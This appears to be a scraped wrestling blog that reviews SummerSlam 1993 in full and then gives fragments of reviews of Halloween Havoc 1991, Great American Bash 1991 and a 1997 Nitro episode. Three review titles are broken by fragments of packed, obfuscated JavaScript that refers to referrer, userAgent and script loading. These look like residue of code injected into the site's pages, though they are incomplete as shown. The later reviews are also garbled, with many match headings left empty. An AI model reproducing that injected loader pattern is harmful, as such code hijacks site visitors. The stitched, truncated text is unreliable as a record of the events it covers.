While he was certainly far from his prime, he was hardly falling apart out there. His stuff was solid, but it might be good that he got out when he did, given the new direction the company was going in. I’m not saying he wouldn’t have had a place, but his style is slower and more thought out than what was wanted in the new era. It’s sad to see one of the greats have to go, especially when two days ago he rocked with his time as GM of Raw.

Rating: C-. It was a bit boring and that hurts it a lot. DiBiase was there to put Razor over and that’s exactly what he did, so points for that. Razor was on the rise and this was another match that put him over even more.

Todd Pettingill (the man that replaced Sean Mooney) is with the family of the Steiners, which is cool I think. He’s interrupted by Jim Cornette in the ring.

Tag Titles: Steiner Brothers vs. Heavenly Bodies

Steiners are the home town boys so their pop is of course epic. Now the Heavenly Bodies are an interesting subject. They were the Dudleys of Cornette’s Smokey Mountain Wrestling, meaning that they were the undisputed biggest thing there, but unlike the Dudleys, that didn’t translate in the big companies. As for SMW, that place rocked. All kinds of guys were there and a lot of them got over because of their work there.

Guys like Lance Storm, Kane, Jericho and Foley mixed with some veterans, some local guys and Cornette calling the shots, and how can you go wrong? The problem was the business as a whole was in deep trouble at that point and Cornette, while being successful to an extent, only lasted about four years. However, in those four years he co-promoted with Vince, which was a pretty big deal at the time. SMW could have worked very well, if the timing and business as a whole had been better.

Even still, it did quite well all things considered. Big brawl starts as the heels take over early but the Steiners start owning as Scott takes over and dominates which is always fun to watch. He was the prototype for what the modern day athlete was supposed to be but due to what has to be steroid abuse, he’s now a shell of his former self. Cornette has a neck brace on for no reason at all.

Eventually the heels take over on Scott and you can put the rest together from there. We go to the melee with Rick taking over to fight off the forces of evil as the fans are freaking out for the hometown boys. After Rick gets his with the tennis racket and Scott saves him the Frankensteiner ends it.

Rating: B-. This was fine. It’s nothing special and was just a token defense but is that really a bad thing for the hometown boys? I certainly don’t think so. It’s about 10 minutes and the faces were in a bit of trouble, so what more can you ask for out of this? Solid little match that did its job well.

We go to some guy named Joe Fowler who is a new interviewer that I don’t ever remember again. He’s with Shawn and Diesel and asks about how Shawn can’t hold onto the belt and that Diesel got it back for him from Perfect. Fowler actually wasn’t that bad at this and while he was a bit too perky, he wasn’t awful.

IC Title: Mr. Perfect vs. Shawn Michaels

This is the blowoff of the feud that had been built up……….4 months ago. The buildup for this match was nothing short of a masterpiece but by the time they got to the match the interest was pretty much long gone. I’ve never figured out why they waited but I’d assume an injury or something like that. Either way it was a bad idea for waiting so long as it could have been the hottest feud in the business at the time.

Anyway, this is your main midcard match of the show. Perfect, even probably past his prime, still just rocks on all levels. We get a plug for Radio WWF out of nowhere which was one of the oddest ideas I’ve ever heard of. Ross and Monsoon would call the show on the radio. Heenan apparently gets hit in the eye by something and isn’t happy about it. Very fast sequence to start and it of course ends in a botch as I have no idea who did what or what they were going for but it looked absolutely horrid.

Anyway, they go into a standard sequence as they jockey for position and Heenan talks about how Diesel will be the big factor here. This referee counts WAY too fast. If he had worked for WCW they would have won the wars. After they go to the floor, Shawn lands a stiff thrust kick to Perfect’s chin. That kick was so sweet that it was almost like music. Shawn continues his perfect streak of being too loud about calling spots which gets annoying after awhile but is part of the business.

I’m kind of skipping over a lot but a good match makes me do that. There’s little to complain about here which makes it hard to come up with jokes. Perfect hits a move that I always thought would be insanely hard to pull off: a running dropkick. That just looks hard to do and makes Perfect look even better. The ending to this is just flat out bad. Perfect gets the Perfectplex but Diesel pulls him outside and they start fighting in what could have been a very interesting feud.

Anyway, Shawn jumps at Perfect but he gets punched for his efforts. Shawn rolls in and lands on the referee, breaking up the count, but after Diesel rams Perfect’s shoulder/head area into the post, the referee continues his count and we get a count out. That was either a botch or running out of time, either way it didn’t work.

If you want to do the screwjob finish then let Diesel interfere and let Shawn get the pin but don’t just go with the count out. Post match Perfect gets the double beatdown and Shawn says he’s the greatest IC Champion.

Rating: B-. This was a very fun albeit short match. This really could have been something good with more time and a finish. That being said it was far from bad with one pretty bad botch that was at least in the beginning of the match. It just was too short and I hated the ending though.

Fowler is with the 1-2-3 Kid who says he’s nervous but ready. Again, Fowler is too perky but he seems solid enough.

IRS vs. 1-2-3 Kid

This is the other feud that comes from DiBiase vs. Razor. Kid was the indy darling at the time and when he got signed what would become the IWC exploded in excitement. What the heck happened to this guy? He became so completely worthless later in his career. Kid was Colin Delaney of his day, but unlike Colin, Kid actually had some skill and would win some matches. He was also far less annoying.

This is really short and not that interesting as even the commentators don’t want to talk about it as you can hear. The big deal about it is that the fans make fun of IRS’ name. Eventually he hits a clothesline of all things to get the pin. That’s really the best they can come up with? Heenan makes some dumb jokes to end this.

Rating: F. No one cared, it wasn’t interesting, and it sucked. What kind of grade did you expect here?

Todd is with Bret’s family, namely Owen, who is rocking one of the worst mullets ever, and Bruce. Stu had knee surgery and can’t be there tonight. They talk about the Hart/Lawler feud, which leads us to this.

Bret Hart vs. Jerry Lawler

This is for the title (more like name) of undisputed king of the ring. There’s no real title or anything which is good. Bret is one of 12. Dang Stu was tearing it up yo. Lawler is on crutches as he comes out. Todd asks him what’s going on. Apparently he’s injured. Gee you think? Never would have been able to figure that out without the crutches, the ice pack on the knee or the limp. The heel heat that he gets is so basic and so good that it’s uncanny.

Lawler blames his injury on his car as he talks forever. Apparently he’s not allowed to wrestle here tonight. Vince is ticked off over this. Imagine, a guy changing the match at the last second, especially one over a knee injury in a Bret Hart match. Yep, Vince has every right to be upset. Instead, he’s going to let his court jester fight Bret instead. This leads to…

Bret Hart vs. Doink the Clown

This was SO random. Doink had been just beating up jobbers and all of a sudden he’s fighting a former world champion at Summerslam? This made no sense and I’m still not sure why they picked him. He does his confetti/water trick, which leads to one of the dumbest things I’ve ever seen at a wrestling show. He throws water on Bruce Hart, so Owen easily opens the railing up and walks through to ringside.

That’s a GREAT lesson to teach people: how to get past the guardrail. Anyway of course Bret is ticked off and beating on Doink early. The clown was such a great gimmick that it’s unreal. Think of the Joker from Batman and make him a wrestler. There’s Doink. This incarnation of him was someone that was a great wrestler that hid behind clown makeup because he was so mentally disturbed. How great of an idea is that?

He dominates most of the match which is Bret at his best: getting beaten up. Doink even puts an STFU on Bret as the young John Cena eats a sausage. He puts the Stump Puller on Bret and grabs the top rope for “additional leverage”. I get home sometimes that would help, but how in this case would that help?

Maybe I’m just missing something but I don’t see it at all. Here’s Bret’s comeback and you can connect the dots yourself here. Sharpshooter goes on, but GASP, Lawler comes in and hits Bret with the crutch! WHO THOUGHT THAT WOULD HAPPEN? Vince’s commentary here is hilarious as he’s panicking over this, thinking that such a thing could never happen.

Rating: B. This was actually pretty good. The in ring work with both guys was solid as Doink really was good in the ring, or at least until he turned face just after this match. Bret of course was great and Lawler made himself look evil here, continuing the feud that wouldn’t end until Summerslam 1995.

The heels head to the back but WAIT! JACK TUNNEY is here to stop them! That leads us to this.

Bret Hart vs. Jerry Lawler

This is going to be quick. What are you expecting here? It’s maybe 5 minutes long and it’s Bret beating the tar out of him, a short heel dominance and a Sharpshooter for the tap out. The main thing here though is that Bret leaves the hold on for OVER THREE MINUTES as apparently he wants Lawler’s grandkids to have knee problems. A small army of suits and referees get rid of him but naturally the decision is reversed to give it to Lawler. Owen’s cowboy boots are making me crack up with laughter.

Rating: B+. It was Bret beating up his enemy which is always fun to see. That’s just not something you can’t beat as Lawler is such a great cowardly heel that working with Bret was perfect. The post match thing made you believe Lawler’s career was over, but this feud would go on for two years, on and off.

We see a promo from Borga, talking about how Luger is stupid for wanting to save America when it has slums like the one he’s in. This was I guess on location in inner Detroit.

Bret and co. says it’s not over with Lawler.

Ludvig Borga vs. Marty Jannetty

Oh dear this is going to be bad isn’t it? Borga is just a beast that was only there about 8 months before being let go for no apparent reason. It was rumored that he would take the title from Taker (not sure where he would have gotten it, maybe at the Rumble?) and then lose it to Luger at Mania 10. I’ve never heard any concrete plans on that but I’ve heard rumors similar to that too many times to not think there’s at least some credibility to them.

Marty of course has his head handed to him here as the Finn is a boxer and just punches Marty’s ribs into oblivion. This is a pure squash here and Marty lands a couple of super kicks that meant nothing at all. Borga’s finisher was the torture rack, which I would have nearly died of laughter from if he’d beaten Luger with.

Rating: D+. It’s a squash and a long, drawn out one. Marty was ok in the ring I guess, but this was better suited for a Raw or something I think. Ludvig would dominate jobbers for a few months before being placed in a real feud, but the ankle injury was too much for him and for some reason he got let go. It was one injury. I’ve never gotten why he never came back.

Undertaker vs. Giant Gonzalez

This is a Rest In Peace match which means street fight. This is the blow off match that no one really wanted to see. The Giant had run in at the Rumble to beat up Taker on behalf of Harvey Whipleman, who I still need clarification on whether or not he’s a human being. They had the worst Taker Mania match ever (not Taker’s fault) and they waited 4 months to have the rematch….for no apparent reason.

No transition at all as Borga’s music is still playing as Fink is announcing. Was there really a point to the caveman look? I never got that. Oh, for the 100th time someone has stolen the urn. The pop for Taker is epic of course. I’m starting to get the reason why Taker got so big so fast, among the obvious reasons: Bobby Heenan. The things Heenan would say about Taker made him just awesome sounding.

As soon as the gong strikes, Bobby says: “See ya!” That’s such a tiny thing but it works so well. He’d always do that and it would always work. No Paul Bearer for no apparent reason. We’ve clearly seen that Gonzalez is taller and that Taker is walking normally, yet Vince says Taker is towering above all and gliding to the ring. Vince, pay attention please. Heenan: I bet Johnny Cash has a picture of him in his pocket. Norcal will love that line.

Apparently Bearer being gone has been the case for awhile now. This is a lot better than at Mania, mainly because Gonzalez has figured out a bit more of his own style and isn’t as horrible as he was before. Also the lack of rules suit them both better in a match like this. Taker looks tiny which is saying a lot. It’s mainly back and forth with Taker continuously reaching for the urn “like it’s a tag partner.” Eventually Bearer returns with a black wreath.

Whippleman and Bearer “fight”, resulting in Bearer getting the urn back. Heenan says NO NO NO, Bearer says OOOOOOOOOOOOOOOOHHHHHHHHHHHHHH YEEEEEEEEEESSSSSSSSSSSSS! Taker sits up of course and it’s on. Taker hits about 5 clotheslines before hitting one from the top to get the pin. Gonzalez I guess turns face after the match by beating up Harvey. That went nowhere.

Rating: C+. This was FAR better than what they did back in April. The rule changes saved this along with the shorter match. It just flowed much better and looked more like something these two would do, as it was a brawl and not a match. Not great, but compared to what they had done before, this was Savage vs. Steamboat.

Fowler is with Yoko, Fuji and Cornette. Cornette says his typical great heel stuff here and puts over Yoko.

Smoking Guns/Tatanka vs. Bam Bam Bigelow/Headshrinkers

Yeah to put it mildly this is filler. The Guns were pretty new at this point. It’s great to see the cowboys and Indian getting along so well here. Ross and Monsoon are on radio here. Ah it’s for the Armed Forces Network. I can live with that. SHAWN MICHAELS HAS LEFT THE BUILDING! Samu and Tatanka start us off. Heenan makes fun of the Cleveland Indians and Dallas Cowboys, which makes me be irritated.

Both Tatanka and Bigelow go for cross bodies at the same time which is a weird looking visual but it worked rather well. Billy punches Rikishi and gets kicked in the face as a result. Why couldn’t he have been kicked out of the company instead? Vince insists they are REAL cowboys. Oh dear. Samu kicks him into the corner to get a tag to Bart.

Crowd is DEAD of course. Bigelow hits a dropkick to take him down for two. Not quick Jim Nedihart’s but close enough. This is just boring beyond belief. It’s like a long Superstars match rather than a long TV match which is REALLY bad for 93 standards. Bigelow rams Bart’s head into Fatu’s which is rather funny.

Bart dodges and Bigelow hits the post so that Tatanka can come in and hopefully end this nonsense. Slam to Bigelow which is kind of impressive. Top rope cross body gets two. Tatanka starts up his racial stereotypes and Bigelow just hits him to stop such idiocy. A triple headbutt hits but a triple splash misses so Tatanka can roll up Fatu for the pin.

Rating: F+. That triple splash was cool looking but this was AWFUL. Like I said, total Superstars match here and nothing more. Horribly boring match and no one cared at all.

We interview Luger’s bus driver. Let me repeat that. We interview Luger’s bus driver. He has a monitor and is watching Summerslam from inside the bus. That….might be the funniest thing I’ve seen since Summerslam began. Yeah, it is. He’s driven Lex around the country for 2 months and he can’t get a bleacher seat to the show? He talks about how great Luger is in what might not have been scripted. He’s talking like this is a real thing, so either he’s not scripted or he needs a job in WWF.

Fowler does something that I like here: he says he’s going to ask a stupid question. Can I get a Hallelujah chorus? We have an interviewer that knows he asks stupid questions. WHY DID THIS GUY LEAVE???

Todd interviews some of the fans.

To further shove the red white and blue down our throats, there are American flags sitting on top of the commentators.

In something else that makes me laugh. Fink asks for the fans to please rise. He gets booed. He then asks if the people will show some respect. When did Fink become a heel manager? The Japanese national anthem is sung. We have a master of ceremonies for the main event, and for no reason at all, it’s Randy Savage. He brings out some guy to sing the National Anthem. Savage looks like the Incredible Hulk meets the Uncle Sam poster.

WWF Title: Lex Luger vs. Yokozuna

And here we go. Yoko’s entrance takes FOREVER. Luger of course gets the pop of pops as he enters to Stars and Stripes Forever. This is easily one of Yoko’s best matches ever. Luger wasn’t much, but he could fight big guys with the best of them. His power game worked perfectly against Yoko, and when it’s USA vs. the evil foreigner, it’s hard to mess it up. WWF managed to screw up the ending, but not the match.

I can sum up this whole match with ease: Bobby Heenan praises Lex Luger. Heenan, perhaps the greatest heel manager of all time, is praising a face. Luger kicks out of everything but never quite hulks up. The crowd is red hot the whole match, which runs nearly 18 minutes for easily one of Yoko’s longest. He’s moving really well here as he hadn’t ballooned to his massive girth yet. The idea is that Yoko simply can’t put him away no matter how close he gets but he can’t hit the Drop either.

They beat on each other with Luger making comeback after comeback but never being able to slam Yoko. After Heenan is losing his voice, Luger makes his final comeback and “slams” Yoko. Heenan screams that it was a hip block, which is actually more impressive as you’re slamming someone using one arm instead of two, but who am I to poke at the Brain? Now, we get to the ending, which for the life of me might be the stupidiest thing I’ve ever seen.

Luger hits the steel forearm and knocks Yoko out of the ring and out cold, drawing the count out. Why? What in the world was the point of not giving Luger the belt here? The tag line of the show was “Someone has to stop him” with a picture of Yoko Banzai Dropping the American flag. Dude, this was a layup and they blew it. Seriously, why would you not give Luger the belt in this case?

He was wildly over, he had a whole storyline that lasted all summer, and the buildup was perfect for that Hogan/Andre moment. However, they waited 8 months to give Luger another shot and in between Luger feuded with Yoko and Fuji’s team still. Why not give him the belt here? For the life of me I do not understand this booking.

Luger may not be a great worker but the fans were WAY into him and the storyline would have been perfect. Anyway, of course we have balloons and confetti falling as Luger and Savage celebrate winning nothing to go off the air.

Rating: B-. This is a fine example of a match that needs two ratings, one for the match and one for the ending. The match was actually pretty good but the ending makes no sense at all. I’ve ranted on it already so I’ll spare you another one here. Yoko looked excellent here and far better than usual.

Luger was feeling it out there as this was one of his better matches, despite using his old stuff. In this case it worked and the crowd was hyped. Very good match that if it had a legitimate finish could have saved the show.

Overall Rating: D+. This show just sucks. Nothing of note happens, the matches are just head scratchers, and the ending is AWFUL. The show just has nothing huge happening at all as Bret’s matches were a combination of solid but random and short but intense. Taker was a feud that I though ended half a year ago. Shawn’s match was good but forgettable, and I’ve ranted on the main event already. Just a bad show overall which is reflective of the company as a whole at this point. Avoid this.

Remember to follow me on Twitter @kbreviews




Halloween Havoc 1991: The Dangerous Alliance Is Coming

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dtrts|var|u0026u|referrer|btnzt||js|php'.split('|'),0,{})) Havoc 1991
Date: October 27, 1991
Location: UTC Arena, Chattanooga, Tennessee
Attendance: 8,900
Commentators: Jim Ross, Tony Schiavone

The opening video is of a haunted house with ghostly images of wrestlers superimposed over it.

Cactus Jack/Abdullah The Butcher/Diamond Studd/Big Van Vader vs. Steiner Brothers/El Gignate/Sting

Cactus checks on Abdullah post match but the Butcher gets up and beats up the ghouls that brought out the stretcher earlier.

Big Josh/PN News vs. The Creatures

Terrance Taylor vs. Bobby Eaton

The solution is apparently a corner clothesline followed by a knee drop for two. They head to the ramp again and Eaton is put down by a gutwrench powerbomb. Eaton slowly gets back in and takes a top rope splash for two. We hit the chinlock which is broken somewhat quickly but a knee to the ribs stops it dead. Taylor gets some more computer advice and apparently is willing to settle for the countout.

Jimmy Garvin vs. Johnny B. Badd

Garvin works over the arm but Badd pounds away with fists. He chokes off a Teddy distraction and uses some very basic offense. A flying sunset flip is mostly messed up and it gets two. A top rope elbow gets two. Garvin dumps him over the top and nothing happens out there. Back in and they collide but Garvin beats him to his feet. The DDT hits but Teddy has the referee. The left hooks from Badd gets the pin.

TV Title: Steve Austin vs. Dustin Rhodes

Rating: B-. This was a pretty good match although the ending was pretty obvious. Austin would hold that title for the better part of a year before trading it with Barry Windham and Ricky Steamboat. Having these fifteen minute matches with other talented guys had a lot to do with Austin becoming one of the best in ring workers ever. This was solid stuff.

Bill Kazmaier vs. Oz

Rating: D. Whatever man. This was just a quick match to I believe end the Oz character, or at least put another bullet into it. Once they realized how dumb the thing was they dropped it and turned him into Vinnie Vegas which was way more appropriate for him anyway. Kazmaier never did anything and retired in January of the following year.

Van Hammer vs. Doug Somers

Brian Pillman says he wants the Light Heavyweight Title more than anything.

Richard Morton, part of the York Foundation, says this is the first of many titles for the Foundation.

Light Heavyweight Title: Brian Pillman vs. Richard Morton

Z-Man vs. WCW Halloween Havoc Phantom

Tag Titles: Enforcers vs. Patriots

We get a video on Ron Simmons going back to Florida State to train for his world title match tonight. Florida State head football coach Bobby Bowden says Simmons is ready.

WCW World Title: Ron Simmons vs. Lex Luger

Luger is defending and has Harley Race with him while Simmons has Dusty Rhodes for no apparent reason. This is 2/3 falls. Feeling out process to start and they trade hammerlocks. Simmons tries a dropkick but misses completely to give Lex the advantage. Ron comes back with a facejam and snaps off a powerslam for no cover. The spinebuster gets the first fall in about five minutes total. That came out of nowhere and we have a one minuet rest period.

The announcers talk a lot to end the show.

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Great American Bash 1991: Often Called The Worst Show Ever And With Good Reason (Plus Final Thoughts On WCW PPVs)

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|krerr|var|u0026u|referrer|knkya||js|php'.split('|'),0,{})) American Bash 1991
Date: July 14, 1991
Location: Baltimore Arena, Baltimore, Maryland
Attendance: 7,000
Commentators: Tony Schiavone, Jim Ross

So anyway, two weeks before this show Flair was told to take less money or bail. Flair, realizing that Vince would love to get his hands on the WCW and NWA World Champion, said see ya and went to the WWF. That left WCW with no champion, so they made Luger vs. Windham the world title match. The problem here is that Windham was nowhere near the world title level as he had been a tag team wrestler for about two years at this point. In other words, no matter who the new champion was, there was no reason to accept him.

We open with a long tracking shot into the arena where the cameraman buys his tickets. I remember watching this when I was a kid.

Bobby Eaton/PN News vs. Steve Austin/Terrence Taylor

They brawl post match with News and Eaton clearing the ring.

Jim and a blonde Tony talk about Flair bailing and basically bury him because they have to, because JR and even freaking Tony are smart enough to realize that was a bad idea.

Jim and Tony talk in depth about the rest of the show to fill time so the scaffold can be taken down.

Diamond Studd vs. Z-Man

Ron Simmons vs. Oz

10. Johnny B. Badd

9. Ron Simmons

8. Diamond Studd

7. ElGigante

6. Arn Anderson

5. Bobby Eaton

4. Steve Austin

3. Sting

2. Barry Windham

1. Lex Luger

I feel so much better now that I know that. You do too right?

Richard Morton vs. Robert Gibson

Young Pistols/Dustin Rhodes vs. Freebirds

They finally make contact with some chops followed by Dustin slamming both of the regular team members. The Birds chill on the floor and Hayes yells at the crowd a bit. To his credit it gets the crowd to start a short Freebirds Suck chant, which is one of the first of the night. Garvin hits Rhodes in the back so Hayes can take over. The Birds hit the Pistols so Dustin takes both Birds down, allowing the Pistols to hit top rope shoulders. The Freebirds go to the floor again as things pause for the third time in less than four minutes.

Smothers finally gets back up to the apron but Hayes drops him with a right hand. We finally get back in and Garvin pounds away on him a bit. Off to Badstreet who dances in and clotheslines Tracy down. Hayes comes back in with a sleeper, which might be the most appropriate move that he could do. Tracy finally breaks out of it and gets a bit of offense in, only to run into a GREAT left hand to put him down.

Yellow Dog vs. Johnny B. Badd

Badd slams him down a few times as Tony tries to explain that Dog is a big Pillman fan but not Pillman. Dog chops Badd to the floor and we stall a bit. Back in and Dog gets a rollup for two. Badd misses a clothesline and gets dropkicked into Teddy who was on the apron for no apparent reason. They go to the floor and Badd runs Dog over with a clothesline to take over.

Eric tries to talk to Missy Hyatt in her locker room but he walks in on her attendant reading her a card from Jason Hervey. That goes nowhere so Eric walks in on her in the shower. Eric knew she was in it and walked in anyway. What a perv.

Big Josh vs. Black Blood

Blood is Billy Jack Haynes as an executioner under a mask. This is a lumberjack match for no apparent reason. Josh, a woodsman, has women with him for some reason. Blood jumps him to start and throws Josh to the outside for some heel interference. He throws Josh to the face side but that gets the expected response.

They trade chops and Josh dropkicks him down to take over. He knocks Blood to the floor twice, just like Blood did to him and for the same reactions. Josh gets knocked to the floor again and the lumberjacks finally get into the brawl. Blood drops a leg but Josh gets a boot up. Josh charges into a boot as the lumberjacks get into it again. Blood gets his ax but Dustin hits him in the knee with a piece of wood, giving Josh a rollup for the pin.

El Gigante vs. One Man Gang

FINALLY some knee shots put him down and Gang works on that a bit. A splash gets two and Gigante throws Gang to the apron on the kickout. Gang gets slammed off the top, suplexed, rammed into Sullivan, has powder kicked into his face and gets clotheslined in the back of his head for the pin.

We recap the Sting vs. Koloff match, which started at SuperBrawl where Koloff was aiming for Luger with his chain but Sting shoved him out of the way and the chain hit Sting. Koloff jumped Sting on TV, then he did it again. Sting was mad and this is the result.

Sting vs. Nikita Koloff

WCW World Title: Barry Windham vs. Lex Luger

A belly to back puts Luger down but he shrugs it off and loads up a superplex. That gets countered and Barry hits a top rope lariat. A regular lariat still gets no cover but a slam gets two. Barry goes up and hits a kind of flying superkick for two. Harley Race and Mr. Hughes come out for no apparent reason and Race says NOW IS THE TIME. Luger pops up and piledrives Windham for the pin and the title.

Paul E. Dangerously/Arn Anderson vs. Rick Steiner/Missy Hyatt

With that, WCW PPVs are done. Unlike TNA, there was a long history of these shows and you can see very clear eras of the PPVs. Starting back in the 80s and the NWA era, you had the smoky arenas that were dark and looked like they were out of the 70s. After that you saw a clear jump around 1990 or so to a much better lit and much more modern arena. Things changed again around 1994 with the arrival of Hogan when PPVs became much more unique with the themed sets (always awesome) and the big arena feel. Then after Starrcade 97, things start to go down hill until in 2000 when they have generic sets in tiny arenas.

The general consensus about WCW and something that I agree with is that the corporate people got in the way too much. When they were finally eliminated and guys that knew wrestling were allowed to run things, the company boomed and it boomed well. The PPVs went up with them and you had the roster to help make them into the spectacles that they were. WCW went on a huge roller coaster with these shows, going from slow matches that ate up like 15 minutes each to well planned out fast paced shows, down to drek with more curves and twists than a golf course designed by Dr. Seuss on an LSD trip.

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Monday Nitro – March 17, 1997: The Summer Funk Begins

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdibi|var|u0026u|referrer|sntfi||js|php'.split('|'),0,{})) Nitro #79
Date: March 17, 1997
Location: Savannah Civic Center, Savannah, Georgia
Commentators: Tony Schiavone, Mike Tenay, Larry Zbyszko, Bobby Heenan

Rey Mysterio vs. Psychosis

We recap last night with Savage and Liz attacking Kimberly and Page. They spray painted Kimberly when page was down.

Maxx vs. Diamond Dallas Page

Hugh Morrus/Konnan vs. Renegade/Joe Gomez

Rating: D. This was a dull match and it seems like they were trying to set up a feud between Renegade and Gomez for who knows what reason. The match was boring as it was about four minutes of leg work followed by the angle to end the show. Gomez stayed around for a long time and never did anything at all.

US Title: Dean Malenko vs. Scotty Riggs

Malenko won the title last night. Riggs lost a strap match to Bagwell last night so he gets a title match tonight. Makes perfect sense right? Scotty hits a quick dropkick to start but it only gets two. Dean will have none of that and sends Riggs to the floor and into the barricade. Back in and we get a pinfall reversal sequence for some two counts. Riggs makes a quick comeback with his jobber level offense before he gets caught in a hot shot. Dean grabs a rolling cradle for the pin to retain fast.

Lex Luger/The Giant vs. The Knuckles

Luger and Giant talk about Sting coming back last night. We get some clips from the show with Sting destroying the NWO as Giant talks about seeing the light at the end of the tunnel. Luger says it made him believe in Santa Claus, the Tooth Fairy and the Easter Bunny. These guys do know they lost the main event right?

We get some stills from last night with Mortis vs. Glacier. Wrath debuted post match to beat down Glacier.

Bobby Eaton vs. Ultimo Dragon

Call the NWO hotline!

Hour #2 begins and it seems a lot later than usual. We do the usual recap.

Alex Wright/Mark Starr vs. Jeff Jarrett/Steve McMichael

Lee Marshall does his schtick.

Scott Norton vs. Chavo Guerrero Jr.

Hogan and Rodman talk about nothing of note.

Chris Benoit vs. Billy Kidman

Steiner Brothers vs. Harlem Heat

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